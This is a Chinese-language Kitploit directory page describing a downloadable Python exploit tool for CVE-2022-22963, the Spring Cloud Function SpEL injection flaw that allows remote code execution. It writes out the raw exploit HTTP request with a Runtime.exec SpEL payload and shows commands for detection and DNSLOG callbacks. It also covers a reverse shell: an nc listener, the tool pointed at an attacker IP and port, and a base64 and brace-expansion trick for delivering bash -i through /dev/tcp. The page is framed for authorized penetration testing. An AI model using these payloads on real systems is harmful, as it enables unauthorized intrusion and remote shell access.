Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
工具/GitHubGitHub/xmqaq/cve-2022-22963
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

查看仓库
112个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-22963

Python License

Spring Cloud Function SpEL 表达式注入远程代码执行漏洞检测与利用工具。

漏洞概述

CVE-2022-22963 是 Spring Cloud Function 路由功能中的一个高危 RCE 漏洞(CVSS 9.8)。当应用启用 /functionRouter 端点时,spring.cloud.function.routing-expression 请求头的值会被直接作为 SpEL(Spring Expression Language)表达式执行,攻击者无需认证即可在目标服务器上执行任意系统命令。

受影响版本:

分支受影响版本修复版本
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

漏洞原理:

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

服务器执行 SpEL 后,exec() 返回 Process 对象,Spring 尝试将其序列化时抛出异常,响应 HTTP 500。命令在后台异步执行,结果不会回显在 HTTP 响应中,需通过 DNSLOG 或反弹 Shell 等侧信道确认。

功能

  • 漏洞检测:通过 SpEL 触发特征响应,判断目标是否存在漏洞
  • DNSLOG 验证:发送 ping 请求到 DNSLOG 域名,通过 DNS 记录确认命令执行
  • 反弹 Shell:利用 base64 编码绕过空格限制,向指定地址弹回交互式 Shell

安装

root@kitploit:~
pip install requests

Python 3.6+ 无其他依赖。

使用方法

root@kitploit:~
python3 CVE-2022-22963.py -u <目标URL> [选项]

参数说明

漏洞检测

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!

DNSLOG 验证

用于在无回显的情况下确认命令实际执行:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)

随后在 DNSLOG 平台查看是否收到来自目标 IP 的 DNS 查询记录。

反弹 Shell

在攻击机上开启监听:

root@kitploit:~
nc -lvnp 9999

发送 payload:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)

注意:反弹 Shell 依赖目标系统存在 /dev/tcp 支持,仅适用于 Linux + bash 环境,不支持 Windows 目标或 sh/ash/dash 等 shell。

技术细节

检测原理

检测请求向 /functionRouter 发送真实 SpEL 表达式:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • 存在漏洞:SpEL 被执行,Process 对象无法序列化 → HTTP 500 + "path":"/functionRouter"
  • 不存在漏洞:头部被忽略,函数路由失败 → 响应码或 body 不符合上述特征

反弹 Shell 编码流程

Runtime.exec(String) 不经过 shell 解释,直接按空格 tokenize 命令字符串,无法处理管道和重定向。工具通过以下方式绕过:

  1. 将反弹 Shell 命令 base64 编码,消除特殊字符
  2. 使用 bash brace expansion {cmd,arg} 代替空格
  3. 最终由目标 bash 的 -c 参数处理管道和重定向
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i

更新日志

日期版本说明
2023-12-28v1.0初始版本发布
2025-10-09v1.1代码重构,优化参数处理和错误处理
2026-06-29v1.2修复检测误报、context path 路径拼接、exploit 返回值语义问题

免责声明

本工具仅供安全研究、授权渗透测试和教育目的使用。

使用本工具即表示您同意:

  1. 仅在获得明确书面授权的目标系统上使用
  2. 遵守所在地区所有适用的法律法规
  3. 对使用本工具产生的一切后果承担完全责任

作者不对任何未授权使用行为及其后果承担任何责任。

下载工具
参数说明默认值
-u, --url目标 URL(必填)—
-c, --check检测漏洞是否存在—
-m, --mode利用模式:dnslog 或 shell—
-d, --dnsDNSLOG 域名(-m dnslog 时使用)—
-i, --ip反弹 Shell 接收端 IP(-m shell 时使用)—
-p, --port反弹 Shell 接收端口9999
-t, --timeout请求超时时间(秒)5